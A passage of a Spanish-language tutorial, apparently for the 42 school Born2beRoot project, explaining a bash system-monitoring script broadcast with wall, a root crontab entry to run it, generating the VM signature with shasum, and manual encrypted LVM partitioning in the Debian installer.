<img width="580" alt="Captura de pantalla 2022-08-03 a las 0 33 39" src="https://user-images.githubusercontent.com/66915274/182484896-def71bf0-b7eb-49d8-b83b-a019d15f62f1.png">
<h3>5-7 Último reinicio</h3>
<p>Para ver la fecha y hora de nuestro último reinicio haremos uso del comando <code>who</code> con el flag <code>-b</code> ya que con ese flag nos mostrará por pantalla el tiempo del último arranque del sistema. Como ya nos ha pasado anteriormente nos muestra más información de la que deseamos asique filtraremos y solo mostraremos lo que nos interesa, para ello haremos uso del comando awk y compararemos si la primera palabra de una linea es "system" se printara por pantalla la tercera palabra de esa linea , un espacio y la cuarta palabra. El comando entero seria el siguiente: <code>who -b | awk '$1 == "system" {print $3 " " $4}'</code>.</p>
<img width="661" alt="Captura de pantalla 2022-08-02 a las 12 24 58" src="https://user-images.githubusercontent.com/66915274/182352895-d985e675-5afc-445a-bcd3-68189702fe70.png">
<h3>5-8 Uso LVM</h3>
<p>Para checkear si LVM esta activo o no haremos uso del comando lsblk , este nos muestra información de todos los dispositivos de bloque (discos duros, SSD, memorias, etc) entre toda la información que proporciona podemos ver lvm en el tipo de gestor. Para este comando haremos un if ya que o printaremos Yes o No. Basicamente la condicion que buscamos sera contar el numero de lineas en las que aparece "lvm" y si hay mas de 0 printamos Yes, si hay 0 se printara No. Todo el comando seria: <code>if [ $(lsblk | grep "lvm" | wc -l) -gt 0 ]; then echo yes; else echo no; fi</code>.</p>
<img width="801" alt="Captura de pantalla 2022-08-02 a las 22 38 43" src="https://user-images.githubusercontent.com/66915274/182468904-3789e22f-dbde-4874-b153-0d86497c55e2.png">
<h3>5-9 Conexiones TCP</h3>
<p>Para mirar el numero de conexiones TCP establecidas. Utilizaremos el comando <code>ss</code> sustituyendo al ya obsoleto netstat. Filtraremos con el flag <code>-ta</code> para que solo se muestren las conexiones TCP. Por último haremos un grep para ver las que estan establecidas ya que tambien hay solo de escucha y cerraremos con wc -l para que cuente el numero de lineas. El comando queda tal que asi: <code>ss -ta | grep ESTAB | wc -l</code>.</p>
<img width="479" alt="Captura de pantalla 2022-08-03 a las 0 53 36" src="https://user-images.githubusercontent.com/66915274/182487028-746244f8-2cda-4dc7-a14c-b2e5a7e0dc51.png">
<h3>5-10 Número de usuarios</h3>
<p>Daremos uso del comando <code>users</code> que nos mostrará el nombre de los usuarios que hay, sabiendo esto, pondremos wc -w para que cuente la cantidad de palabras que hay en la salida del comando. El comando entero queda así <code>users | wc -w</code>.</p>
<img width="380" alt="Captura de pantalla 2022-08-02 a las 12 33 29" src="https://user-images.githubusercontent.com/66915274/182354436-282547cf-22c8-4b03-9484-6801c0466de7.png">
<h3>5-11 Dirección IP y MAC</h3>
<p>Para obtener la dirección del host haremos uso del comando <code>hostname -I</code> y para obtener la MAC haremos uso del comando <code>ip link</code> que se utiliza para mostrar o modificar las interfaces de red. Como aparecen más de una interfaz, IP's etc. Utilizaremos el comando grep para buscar lo que deseamos y asi poder printar por pantalla solo lo que nos piden. Para ello pondremos <code>ip link | grep "link/ether" | awk '{print $2}'</code> y de esta manera solo printaremos la MAC.</p>
<img width="639" alt="Captura de pantalla 2022-08-02 a las 14 53 14" src="https://user-images.githubusercontent.com/66915274/182379380-8e3b803d-d001-42ae-8aea-467e8c9f3ea9.png">
<h3>5-12 Número de comandos ejecutados con sudo</h3>
<p>Para poder obtener el numero de comandos que son ejecutados con sudo haremos uso del comando jornalctl que este es una herramienta que se encarga de recopilar y administrar los registros del sistema. Acto seguido pondremos <code>_COMM=sudo</code> par así filtrar las entradas especificando su ruta. En nuestro ponemos <code>_COMM</code> ya que hace referencia a un script ejecutable. Una vez tengamos filtrada la busqueda y solo aparezcan los registros de sudo todavía deberemos filtrar un poco más ya que cuando incias o cierras sesion de root tambien aparece en el registro, entonces para terminar de filtrar pondremos un <code>grep COMMAND</code> y asi solo apareceran las lineas de comandos. Por ultimo pondremos <code>wc -l</code> para que asi nos salgan enumeradas las lineas. El comando entero es el siguiente: <code>journalctl _COMM=sudo | grep COMMAND | wc -l)</code>. Para comprobar que funcione correctamente podemos correr el comando en el terminal, poner un comando que incluya sudo y volver a correr el comando y deberá incrementar el número de ejecucciones de sudo.</p>
<img width="632" alt="Captura de pantalla 2022-08-02 a las 23 50 39" src="https://user-images.githubusercontent.com/66915274/182479668-949b8eee-81f6-4593-83f4-99053d199f1b.png">
<h3>5-13 Resultado total del script</h3>
<p>⚠️ Recuerda no hacer copia y pega si no sabes el funcionamiento de cada comando ⚠️</p>
<pre><code>#!/bin/bash
# ARCH
arch=$(uname -a)
# CPU PHYSICAL
cpuf=$(grep "physical id" /proc/cpuinfo | wc -l)
# CPU VIRTUAL
cpuv=$(grep "processor" /proc/cpuinfo | wc -l)
# RAM
ram_total=$(free --mega | awk '$1 == "Mem:" {print $2}')
ram_use=$(free --mega | awk '$1 == "Mem:" {print $3}')
ram_percent=$(free --mega | awk '$1 == "Mem:" {printf("%.2f"), $3/$2*100}')
# DISK
disk_total=$(df -m | grep "/dev/" | grep -v "/boot" | awk '{disk_t += $2} END {printf ("%.1fGb\n"), disk_t/1024}')
disk_use=$(df -m | grep "/dev/" | grep -v "/boot" | awk '{disk_u += $3} END {print disk_u}')
disk_percent=$(df -m | grep "/dev/" | grep -v "/boot" | awk '{disk_u += $3} {disk_t+= $2} END {printf("%d"), disk_u/disk_t*100}')
# CPU LOAD
cpul=$(vmstat 1 2 | tail -1 | awk '{printf $15}')
cpu_op=$(expr 100 - $cpul)
cpu_fin=$(printf "%.1f" $cpu_op)
# LAST BOOT
lb=$(who -b | awk '$1 == "system" {print $3 " " $4}')
# LVM USE
lvmu=$(if [ $(lsblk | grep "lvm" | wc -l) -gt 0 ]; then echo yes; else echo no; fi)
# TCP CONNEXIONS
tcpc=$(ss -ta | grep ESTAB | wc -l)
# USER LOG
ulog=$(users | wc -w)
# NETWORK
ip=$(hostname -I)
mac=$(ip link | grep "link/ether" | awk '{print $2}')
# SUDO
cmnd=$(journalctl _COMM=sudo | grep COMMAND | wc -l)
wall " Architecture: $arch
CPU physical: $cpuf
vCPU: $cpuv
Memory Usage: $ram_use/${ram_total}MB ($ram_percent%)
Disk Usage: $disk_use/${disk_total} ($disk_percent%)
CPU load: $cpu_fin%
Last boot: $lb
LVM use: $lvmu
Connections TCP: $tcpc ESTABLISHED
User log: $ulog
Network: IP $ip ($mac)
Sudo: $cmnd cmd"
</code></pre>
<p>Script visto desde nano ↙️</p>
<img width="911" alt="Captura de pantalla 2022-08-03 a las 3 47 31" src="https://user-images.githubusercontent.com/66915274/182506484-f5a095b8-4751-461e-a114-f8e36b4cfa9a.png">
<p>Resultado tras la ejecución del script ↙️</p>
<img width="796" alt="Captura de pantalla 2022-08-03 a las 3 46 15" src="https://user-images.githubusercontent.com/66915274/182506357-f5466a97-380b-4b6d-9b79-89e01a31498a.png">
<h2>6- Crontab ⏰</h2>
<p>🧠 <b>Que es crontab? </b>Es un administrador de procesos en segundo plano. Los procesos indicados seran ejecutados en el momento que especifiques en el fichero crontab.</p>
<p>Para tener correctamente crontab configurado debemos editar el fichero crontab con el siguiente comando <code>sudo crontab -u root -e</code>.</p>
<p>En el fichero debemos añadir el siguiente comando para que el script se ejecute cada 10 minutos <code>*/10 * * * * sh /ruta del script</code>.</p>
<img width="798" alt="Captura de pantalla 2022-08-03 a las 4 40 18" src="https://user-images.githubusercontent.com/66915274/182512395-eaebabc2-5866-4ae3-966c-1a80818cde07.png">
<p>Funcionamiento de cada parametro de crontab:</p>
<p>m ➤ Corresponde al minuto en que se va a ejecutar el script, el valor va de 0 a 59.</p>
<p>h ➤ La hora exacta, se maneja el formato de 24 horas, los valores van de 0 a 23, siendo 0 las 12:00 de la medianoche. dom ➤ hace referencia al día del mes, por ejemplo se puede especificar 15 si se quiere ejecutar cada dia 15.</p>
<p>dow ➤ Significa el día de la semana, puede ser numérico (0 a 7, donde 0 y 7 son domingo) o las 3 primeras letras del día en inglés: mon, tue, wed, thu, fri, sat, sun.</p>
<p>user ➤ Define el usuario que va a ejecutar el comando, puede ser root, u otro usuario diferente siempre y cuando tenga permisos de ejecución del script.</p>
<p>command ➤ Refiere al comando o a la ruta absoluta del script a ejecutar.</p>
<h2>7- Signature.txt 📝</h2>
<p>Para obtener la firma lo primero que debemos hacer es apagar la máquina virtual ya que una vez la enciendas o modifiques algo la firma cambiará.</p>
<img width="834" alt="Captura de pantalla 2022-08-03 a las 4 47 32" src="https://user-images.githubusercontent.com/66915274/182513283-1cfc319f-982d-47cf-a596-8475d4c96616.png">
<p>El siguiente paso será ubicarnos en la ruta donde tengamos el .vdi de nuestra maquina virtual.</p>
<img width="465" alt="Screen Shot 2022-08-03 at 4 57 37 AM" src="https://user-images.githubusercontent.com/66915274/182514499-f0ad5ba7-c0c2-493e-b0ae-9b79c970816e.png">
<p>Por último haremos <code>shasum nombremaquina.vdi</code> y esto nos dara la firma. El resultado de esta firma es lo que tendremos añadir a nuestro fichero signature.txt para posteriormente subir el fichero al repositorio de la intra. Muy importante no volver a abrir la maquina ya que se modificara la firma. Para las correcciones recuerda clonar la maquina ya que asi podras encenderla sin miedo a que cambie la firma.</p>
<p>🧠 <b> Que es shasum❓</b> Es un comando que permite identificar la integridad de un fichero mediante la suma de comprobación del hash SHA-1 de un archivo.</p>
<img width="416" alt="Screen Shot 2022-08-03 at 4 58 48 AM" src="https://user-images.githubusercontent.com/66915274/182514627-f11026d0-de0d-447d-a2e4-31a3c1af0f35.png">
<h2>8- Bonus ⭐️</h2>
<h3>8.1- Particionado manual del disco</h3>
<p>1 ◦ En el momento de escoger el particionado de disco seleccionaremos manual. De esta manera podremos editar las particiones una a una.</p>
<img width="789" alt="Screen Shot 2022-10-23 at 4 30 48 PM" src="https://user-images.githubusercontent.com/66915274/197397840-b6ae9d65-a6aa-4a5d-a03f-856d9ce81644.png">
<p>2 ◦ En este apartado nos muestra una descripción general de nuestras particiones y puntos de montaje. Actualmente no tenemos particiones hechas. Para crear una nueva tabla de particiones debemos escoger el dispositivo donde queremos crearlas. En nuestro caso escogeremos el único disponible.</p>
<img width="793" alt="Screen Shot 2022-10-23 at 4 35 39 PM" src="https://user-images.githubusercontent.com/66915274/197398114-44abc561-d34d-47c9-b512-581b4ec6fddb.png">
<p>3 ◦ Aceptamos el mensaje de confirmación. Básicamente nos avisa que si ya hay particiones en el dispositivo seran eliminadas y que si estamos seguros de crear una nueva tabla de particiones vacía..</p>
<img width="770" alt="Screen Shot 2022-10-23 at 4 36 08 PM" src="https://user-images.githubusercontent.com/66915274/197398137-b9fe1f96-5907-462e-8a50-44b71ae2aefe.png">
<p>4 ◦ Una vez hemos completado el paso anterior podemos ver como nos aparece nuestra tabla de particiones vacía. Ahora debemos configurarla , para ello debemos seleccionarla.</p>
<img width="786" alt="Screen Shot 2022-10-23 at 4 36 35 PM" src="https://user-images.githubusercontent.com/66915274/197398172-b05fa7aa-e5b4-40cb-afd4-03a1404d7885.png">
<p>5 ◦ Crearemos una nueva partición.</p>
<img width="512" alt="Screen Shot 2022-10-23 at 4 36 54 PM" src="https://user-images.githubusercontent.com/66915274/197398199-70570553-de1b-49a9-8c44-da9a1e4b5c1e.png">
<p>Empezaremos creando esta:</p>
<p><img src="https://user-images.githubusercontent.com/66915274/197427077-48636236-4012-4edf-b0e4-319db502e685.png" alt="image"></p>
<p>6 ◦ Como bien indica el subject el tamaño de la partición debe ser de 500 megabytes.</p>
<img width="777" alt="Screen Shot 2022-10-23 at 4 37 27 PM" src="https://user-images.githubusercontent.com/66915274/197398241-604b2bb2-7303-412a-b382-40bfbf443ed0.png">
<p>7 ◦ Escogemos el tipo de la partición. Escogemos primaria ya que será la partición donde se encontrará instalado el Sistema Operativo.</p>
<img width="457" alt="Screen Shot 2022-10-23 at 4 37 38 PM" src="https://user-images.githubusercontent.com/66915274/197398253-2c0f8205-3d3f-4ab7-94a3-70c37ee014d9.png">
<p>Descripción breve de todos los tipos de particiones:</p>
<p>◦ <b>Primaria:</b> La única partición en la que puede estar instalada un SO. Solo pueden haber 4 particiones primarias por disco duro o 3 primarias y una extendida.</p>
<p>◦ <b>Secundario/Extendida:</b> Fue ideada para romper la limitación de 4 particiones primarias en un solo disco físico. Solo puede existir una partición de este tipo por disco, y solo sirve para contener particiones lógicas.</p>
<p>◦ <b>Lógica:</b> Ocupa una porción de la partición extendida/primaria o la totalidad de la misma, la cual se ha formateado con un tipo específico de sistema de archivos (en nuestro caso usaremos ext4) y se le ha asignado una unidad, así el sistema operativo reconoce las particiones lógicas o su sistema de archivos. Puede haber un máximo de 23 particiones lógicas en una partición extendida , sin embargo linux el SO con el que trabajamos actualmente lo reduce a 15, más que suficientes para realizar este proyecto.</p>
<p>8 ◦ Seleccionaremos beginning ya que queremos que la nueva partición se cree al principio del espacio disponible.</p>
<img width="787" alt="Screen Shot 2022-10-23 at 4 37 52 PM" src="https://user-images.githubusercontent.com/66915274/197398265-c63d7b32-55b7-45ad-86b3-166e44cfd598.png">
<p>9 ◦ En la siguiente captura nos muestra los detalles de la partición. Modificaremos el punto de montaje al que escifica el subject.</p>
<img width="781" alt="Screen Shot 2022-10-23 at 4 38 27 PM" src="https://user-images.githubusercontent.com/66915274/197398293-2487ded0-2584-48c4-a5ea-1f2464ec39f9.png">
<p>10 ◦ Escogemos boot como el punto de montaje de nuestra partición.</p>
<img width="577" alt="Screen Shot 2022-10-23 at 4 38 49 PM" src="https://user-images.githubusercontent.com/66915274/197398322-51b9854b-ab32-4d81-8126-3ef3913858a6.png">
<p>11 ◦ Terminamos de configurar la partición actual.</p>
<img width="787" alt="Screen Shot 2022-10-23 at 4 39 07 PM" src="https://user-images.githubusercontent.com/66915274/197398336-72b17153-73dc-48a5-b7d3-839877e8983b.png">
<p>12 ◦ Una vez hemos completado el paso anterior ya nos debe aparecer la partición. Ahora debemos crear una partición lógica con todo el espacio disponible del disco, que no tenga punto de montaje y que este encriptada. Para ello seleccionamos el espacio libre donde queremos crearla.</p>
<img width="781" alt="Screen Shot 2022-10-23 at 4 39 37 PM" src="https://user-images.githubusercontent.com/66915274/197398367-ee8a1f5d-3941-4a86-a775-90f29b1c955e.png">
<p><img src="https://user-images.githubusercontent.com/66915274/197431553-718358bb-6570-41dd-b114-09acc347999d.png" alt="image"></p>
<p>13 ◦ Creamos nueva partición.</p>
<img width="462" alt="Screen Shot 2022-10-23 at 4 39 58 PM" src="https://user-images.githubusercontent.com/66915274/197398396-843c7fb3-b945-4305-a960-02aa9d4ca940.png">
<p>14 ◦ Seleccionamos el tamaño máximo.</p>
<img width="779" alt="Screen Shot 2022-10-23 at 4 40 26 PM" src="https://user-images.githubusercontent.com/66915274/197398425-63205376-839f-4986-a8d0-981cdaa380e4.png">
<p>15 ◦ Seleccionamos el tipo de particion, en este caso lógica.</p>
<img width="466" alt="Screen Shot 2022-10-23 at 4 40 53 PM" src="https://user-images.githubusercontent.com/66915274/197398448-49c99180-9a3d-4dd4-a9ce-d680bfdefa1c.png">
<p>16 ◦ Modificaremos el punto de montaje.</p>
<img width="788" alt="Screen Shot 2022-10-23 at 4 41 44 PM" src="https://user-images.githubusercontent.com/66915274/197398500-188cc4fb-4eb5-4a56-893b-58838877c056.png">
<p>17 ◦ Escogeremos la opción de no montarlo.</p>
<img width="590" alt="Screen Shot 2022-10-23 at 4 42 11 PM" src="https://user-images.githubusercontent.com/66915274/197398518-f6fb7588-8c53-40a9-9ceb-238d6a62d942.png">
<p>18 ◦ Terminamos de configurar la partición actual.</p>
<img width="788" alt="Screen Shot 2022-10-23 at 4 42 41 PM" src="https://user-images.githubusercontent.com/66915274/197398541-922f2c4d-ed5a-4d92-8083-ccf57aec3dee.png">
<p>19 ◦ Configuraremos volúmenes encriptados. Para asi poder encriptar nuestra partición.</p>
<img width="786" alt="Screen Shot 2022-10-23 at 4 43 08 PM" src="https://user-images.githubusercontent.com/66915274/197398562-2369fa90-7db9-4ba3-abed-7ac15ede8b81.png">
<p>20 ◦ Aceptamos el mensaje de confirmación.</p>
<img width="777" alt="Screen Shot 2022-10-23 at 4 43 27 PM" src="https://user-images.githubusercontent.com/66915274/197398573-9720e351-04f4-49f0-a3dc-fe0ce1ada296.png">
<p>21 ◦ Creamos los volúmenes encriptados.</p>
<img width="596" alt="Screen Shot 2022-10-23 at 4 43 46 PM" src="https://user-images.githubusercontent.com/66915274/197398595-b36ab8da-86c6-483a-99fd-079293a92570.png">
<p>22 ◦ Seleccionamos en que partición queremos realizar la encriptación.</p>
<img width="568" alt="Screen Shot 2022-10-23 at 4 44 06 PM" src="https://user-images.githubusercontent.com/66915274/197398615-7c9f8e45-7885-4f39-84eb-e3a056eeb2c7.png">
<p>23 ◦ Terminamos de configurar la partición actual.</p>
<img width="787" alt="Screen Shot 2022-10-23 at 4 44 35 PM" src="https://user-images.githubusercontent.com/66915274/197398649-06749ec8-903d-4b1a-af2a-c2dad77bcaec.png">
<p>24 ◦ Finalizamos ya que no queremos crear mas volúmenes encriptados.</p>
<img width="589" alt="Screen Shot 2022-10-23 at 4 44 49 PM" src="https://user-images.githubusercontent.com/66915274/197398663-0bd74c65-b3fd-430c-b3e6-4f1e0c76ae8d.png">
<p>25 ◦ Aceptamos el mensaje de confirmación. Nos comenta que que se encriptara todo lo que hay dentro de la partición y que no debe tardar mucho en terminar.</p>
<img width="783" alt="Screen Shot 2022-10-23 at 4 45 06 PM" src="https://user-images.githubusercontent.com/66915274/197398670-91db3e3e-b271-4e1b-ad8a-28ceb06e0897.png">
<p>26 ◦ Nos da igual si tarda mucho o poco , le damos a cancel ya que no hay nada que encriptar ya que la partición esta vacía.</p>
<img width="789" alt="Screen Shot 2022-10-23 at 4 45 27 PM" src="https://user-images.githubusercontent.com/66915274/197398685-6603ef31-d499-46da-949f-ade8e2a05bf9.png">
<p>27 ◦ De nuevo deberemos poner una contraseña, esta vez será la frase de encriptación. Como te he comentado previamente deberás repetir el proceso y la debes anotar ya que será importante en un futuro.</p>
<img width="779" alt="Screen Shot 2022-10-23 at 4 48 38 PM" src="https://user-images.githubusercontent.com/66915274/197398855-0c93f419-897e-4eee-9499-18321d8e8dfd.png">
<p>28 ◦ Repetimos la frase de encriptación.</p>
<img width="722" alt="Screen Shot 2022-10-23 at 4 49 01 PM" src="https://user-images.githubusercontent.com/66915274/197398875-3fa85638-7105-42bf-bbc2-e189fbbc1918.png">
<p>29 ◦ Configuraremos el gestor de volumenes logicos.</p>
<img width="785" alt="Screen Shot 2022-10-23 at 4 50 17 PM" src="https://user-images.githubusercontent.com/66915274/197398933-85e0025e-0a4d-41f0-8fd0-5f0c8ee32e9b.png">
<p>30 ◦ Aceptaremos en mensaje de confirmación ya que estamos de acuerdo con que se guarden los cambion en el disco.</p>
<img width="786" alt="Screen Shot 2022-10-23 at 4 50 42 PM" src="https://user-images.githubusercontent.com/66915274/197398945-d79ea2a7-a13e-4e6a-9e9c-40bdcd2dd502.png">
<p>31 ◦ Crearemos un nuevo grupo de volumen. Los grupos de volúmenes agrupan particiones.</p>
<img width="454" alt="Screen Shot 2022-10-23 at 4 52 04 PM" src="https://user-images.githubusercontent.com/66915274/197399021-29b21274-37c1-4fd9-8526-962969d1cce3.png">
<p>32 ◦ Introduciremos el nombre que queremos darle. <code>LVMGroup</code> tal y como indica el subject.</p>
<img width="695" alt="Screen Shot 2022-10-23 at 4 52 58 PM" src="https://user-images.githubusercontent.com/66915274/197399065-1ac8d80d-9e18-4b4a-a60f-11496e7de26d.png">
<p>33 ◦ Seleccionaremos la partición donde queremos cear el grupo.</p>
<img width="590" alt="Screen Shot 2022-10-23 at 4 53 22 PM" src="https://user-images.githubusercontent.com/66915274/197399089-5ea5f48e-176c-4278-8b14-a13b7f5ee45c.png">
<p>34 ◦ Ahora debemos crear todas las particiones lógicas. Al tener que repetir las mismas acciones varias veces hay capturas que no serán documentadas.</p>
<p><img src="https://user-images.githubusercontent.com/66915274/197439138-889d6368-1875-402b-a094-bd146bb7cb8a.png" alt="image"></p>
<img width="457" alt="Screen Shot 2022-10-23 at 4 53 50 PM" src="https://user-images.githubusercontent.com/66915274/197399108-fb566eb4-664f-4509-8948-ab4ed04407b5.png">
<p>35 ◦ Empezaremos escogiendo el grupo donde queremos que se creen. Seleccionamos el único disponible (el que acabamos de crear).</p>
<img width="760" alt="Screen Shot 2022-10-23 at 4 54 02 PM" src="https://user-images.githubusercontent.com/66915274/197399115-e7d3b313-763c-421c-a71d-850d318432e7.png">
<p>36 ◦ El orden de la creación de las unidades lógicas será el mismo que indica el subject asique empezaremos por root y acabaremos por var-log. Entonces seleccionaremos el nombre del volumen lógico.</p>
<img width="662" alt="Screen Shot 2022-10-23 at 4 55 42 PM" src="https://user-images.githubusercontent.com/66915274/197399188-6ae8c83b-057d-498f-b112-9116079b0808.png">
<p>37 ◦ Tamaño como bien indica el subject será de 10g.</p>
<img width="782" alt="Screen Shot 2022-10-23 at 4 56 21 PM" src="https://user-images.githubusercontent.com/66915274/197399216-c65f43ca-fb8e-4d05-9212-24ad2ee87b39.png">
<p>38 ◦ Repetimos el proceso para <code>swap</code>. Solo cambiaremos el nombre y el tamaño.</p>
<img width="443" alt="Screen Shot 2022-10-23 at 4 56 49 PM" src="https://user-images.githubusercontent.com/66915274/197399239-c26598cb-e7bb-474c-aece-90f043e1990f.png">
<img width="751" alt="Screen Shot 2022-10-23 at 4 57 26 PM" src="https://user-images.githubusercontent.com/66915274/197399278-c5cd5a9c-2ab1-42b9-8871-b58e9b33b4b6.png">
<img width="667" alt="Screen Shot 2022-10-23 at 4 57 41 PM" src="https://user-images.githubusercontent.com/66915274/197399288-7ecf6adf-aaf5-46bf-959f-2159d19b7bbf.png">
<img width="782" alt="Screen Shot 2022-10-23 at 4 58 11 PM" src="https://user-images.githubusercontent.com/66915274/197399310-fc6c397e-8257-4e06-8fba-ad35431c9b96.png">
<p>39 ◦ Repetimos el proceso para <code>home</code>. Solo cambiaremos el nombre y el tamaño.</p>
<img width="476" alt="Screen Shot 2022-10-23 at 4 58 57 PM" src="https://user-images.githubusercontent.com/66915274/197399347-a815d58b-686e-4d9d-bb5c-34a7b54476ab.png">
<img width="756" alt="Screen Shot 2022-10-23 at 4 59 07 PM" src="https://user-images.githubusercontent.com/66915274/197399355-28617029-c28c-4ca4-b56b-646e066cded6.png">
<img width="672" alt="Screen Shot 2022-10-23 at 5 01 13 PM" src="https://user-images.githubusercontent.com/66915274/197399433-1e9c7110-9240-4982-9835-b026ed73171f.png">
<img width="770" alt="Screen Shot 2022-10-23 at 5 04 34 PM" src="https://user-images.githubusercontent.com/66915274/197399610-247a7a35-0141-4c14-884e-7ecd07caa96d.png">
<p>40 ◦ Repetimos el proceso para <code>var</code>. Solo cambiaremos el nombre y el tamaño.</p>
<img width="482" alt="Screen Shot 2022-10-23 at 5 05 10 PM" src="https://user-images.githubusercontent.com/66915274/197399644-58da651c-f4ad-4d1e-b128-de87c92cc292.png">
<img width="700" alt="Screen Shot 2022-10-23 at 5 05 30 PM" src="https://user-images.githubusercontent.com/66915274/197399662-32ab0a06-c14d-4a0e-ac80-cb0d12fc24eb.png">
<img width="774" alt="Screen Shot 2022-10-23 at 5 06 03 PM" src="https://user-images.githubusercontent.com/66915274/197399693-b49c2ffe-b21a-43c5-bd3f-160bc544b072.png">
<p>41 ◦ Repetimos el proceso para <code>srv</code>. Solo cambiaremos el nombre.</p>
<img width="446" alt="Screen Shot 2022-10-23 at 5 06 14 PM" src="https://user-images.githubusercontent.com/66915274/197399702-6d531de3-690d-458d-9a3b-bf6ceedd7cda.png">
<img width="754" alt="Screen Shot 2022-10-23 at 5 06 39 PM" src="https://user-images.githubusercontent.com/66915274/197399724-0fdd75ad-e978-4468-8509-a62cdc4a3faf.png">
<img width="671" alt="Screen Shot 2022-10-23 at 5 06 57 PM" src="https://user-images.githubusercontent.com/66915274/197399744-b82b1dcd-09c7-44cc-a2ab-b6079abcbb5a.png">
<img width="771" alt="Screen Shot 2022-10-23 at 5 07 13 PM" src="https://user-images.githubusercontent.com/66915274/197399757-94732b16-585e-4f7d-a20f-f7ef0814b4e7.png">
<p>42 ◦ Repetimos el proceso para <code>tmp</code>. Solo cambiaremos el nombre.</p>
<img width="481" alt="Screen Shot 2022-10-23 at 5 07 34 PM" src="https://user-images.githubusercontent.com/66915274/197399777-9d871f2a-856d-4b4d-ad18-1195001b0fdf.png">
<img width="732" alt="Screen Shot 2022-10-23 at 5 07 46 PM" src="https://user-images.githubusercontent.com/66915274/197399792-0794ace5-c236-4f68-b023-bb471753eba2.png">
<img width="659" alt="Screen Shot 2022-10-23 at 5 07 55 PM" src="https://user-images.githubusercontent.com/66915274/197399798-84a31102-6953-468b-85d4-0a248e98cb17.png">
<img width="768" alt="Screen Shot 2022-10-23 at 5 08 19 PM" src="https://user-images.githubusercontent.com/66915274/197399827-5dfc8571-e82c-4a28-aae7-dc716fb6e77b.png">
<p>43 ◦ Por último repetimos el proceso para <code>var-log</code>. Solo cambiaremos el nombre y el tamaño.</p>
<img width="448" alt="Screen Shot 2022-10-23 at 5 08 34 PM" src="https://user-images.githubusercontent.com/66915274/197399838-2cd49171-45dd-469a-887c-3ce99d84b7cd.png">
<img width="762" alt="Screen Shot 2022-10-23 at 5 08 40 PM" src="https://user-images.githubusercontent.com/66915274/197399841-04b75112-4d21-456c-bf50-8335839764e0.png">
<img width="658" alt="Screen Shot 2022-10-23 at 5 08 59 PM" src="https://user-images.githubusercontent.com/66915274/197399859-d706de2e-bb20-4a04-96db-4dd57b3778be.png">
<img width="779" alt="Screen Shot 2022-10-23 at 5 09 28 PM" src="https://user-images.githubusercontent.com/66915274/197399886-a1e9ee69-78a4-4071-af99-2192d535c6cd.png">
<p>44 ◦ Una vez hayamos completado todos los pasos anteriores finalizaremos la configuración del gestor de volúmenes lógicos.</p>
<img width="438" alt="Screen Shot 2022-10-23 at 5 09 51 PM" src="https://user-images.githubusercontent.com/66915274/197399904-c584fcdf-eb38-486f-af12-7374f1e04465.png">
<p>45 ◦ Ahora podemos observar como en el apartado donde nos muestran todas nuestras particiones y espacio libre ya aparecen todas las particiones lógicas que acabamos de crear. Bien , debemos configurar todas para seleccionar el sistema de archivos que queremos y el punto de montaje que indica el subject. De nuevo iremos por orden y seleccionaremos la primera que nos aparece que es <code>home</code>.</p>
<img width="783" alt="Screen Shot 2022-10-23 at 5 10 36 PM" src="https://user-images.githubusercontent.com/66915274/197399944-bccbe599-b80a-4abe-ac6c-d770447ea727.png">
<p>46 ◦ Nos muestra la configuración de la partición. Debemos escoger un sistema de ficheros ya que actualmente no tiene.</p>
<img width="782" alt="Screen Shot 2022-10-23 at 5 10 55 PM" src="https://user-images.githubusercontent.com/66915274/197399976-9b871bda-9425-4dbe-b8c9-25c8c6d6c811.png">
<p>47 ◦ Escogemos el sistema de archivos Ext4, es el sistema de archivos más utilizado en distribuciones Linux.</p>
<img width="412" alt="Screen Shot 2022-10-23 at 5 11 18 PM" src="https://user-images.githubusercontent.com/66915274/197400000-2e855fc9-10b1-4f3e-9c58-85b6ff02a4fb.png">
<p>48 ◦ Ahora debemos seleccionar el punto de montaje.</p>
<img width="782" alt="Screen Shot 2022-10-23 at 5 11 44 PM" src="https://user-images.githubusercontent.com/66915274/197400023-387a70aa-b491-43c0-91d2-cb378da9fc75.png">
<p>49 ◦ Seleccionamos <code>home</code> como bien indica el subject.</p>
<img width="515" alt="Screen Shot 2022-10-23 at 5 11 54 PM" src="https://user-images.githubusercontent.com/66915274/197400040-e79cad4f-368b-4cee-9ec0-942f38b2f785.png">
<p>50 ◦ Una vez ya lo hemos seleccionado terminaremos la configuración de la partición.</p>
<img width="785" alt="Screen Shot 2022-10-23 at 5 12 10 PM" src="https://user-images.githubusercontent.com/66915274/197400059-ab96f2c4-cd92-47cb-a9ee-61257537ee6a.png">
<p>51 ◦ De nuevo estos pasos se pueden volver muy repetitivos asique no comentare mucho. Repetimos todo igual (excepto el punto de montaje) para <code>root</code>.</p>
<img width="782" alt="Screen Shot 2022-10-23 at 5 13 36 PM" src="https://user-images.githubusercontent.com/66915274/197400135-c08444fe-e39d-45fa-a3b6-3c73db2a4935.png">
<img width="782" alt="Screen Shot 2022-10-23 at 5 13 53 PM" src="https://user-images.githubusercontent.com/66915274/197400146-41ce0b0c-142c-46b4-a3c5-918676a3a852.png">
<img width="421" alt="Screen Shot 2022-10-23 at 5 14 08 PM" src="https://user-images.githubusercontent.com/66915274/197400155-92759327-5671-41f4-8104-dd1de4bc88cb.png">
<img width="775" alt="Screen Shot 2022-10-23 at 5 14 22 PM" src="https://user-images.githubusercontent.com/66915274/197400171-6fd04783-e833-4afd-a753-4b943133a4ab.png">
<img width="525" alt="Screen Shot 2022-10-23 at 5 14 39 PM" src="https://user-images.githubusercontent.com/66915274/197400182-780e1917-3f77-4986-b0e8-b50a90d75403.png">
<img width="790" alt="Screen Shot 2022-10-23 at 5 14 52 PM" src="https://user-images.githubusercontent.com/66915274/197400186-88da831a-c672-4ec0-a64c-0ad2808bb6c5.png">
<p>52 ◦ Repetimos el proceso para <code>srv</code> y cambiaremos el punto de montaje.</p>
<img width="778" alt="Screen Shot 2022-10-23 at 5 15 05 PM" src="https://user-images.githubusercontent.com/66915274/197400198-599b4aa3-a511-45d1-86b0-dd42da4c380f.png">
<img width="778" alt="Screen Shot 2022-10-23 at 5 15 31 PM" src="https://user-images.githubusercontent.com/66915274/197400218-e6b26eb7-7933-426f-a7cd-a791400ebdab.png">
<img width="428" alt="Screen Shot 2022-10-23 at 5 15 37 PM" src="https://user-images.githubusercontent.com/66915274/197400222-95107b34-8d28-4d4d-a74b-7de6c6a46d33.png">
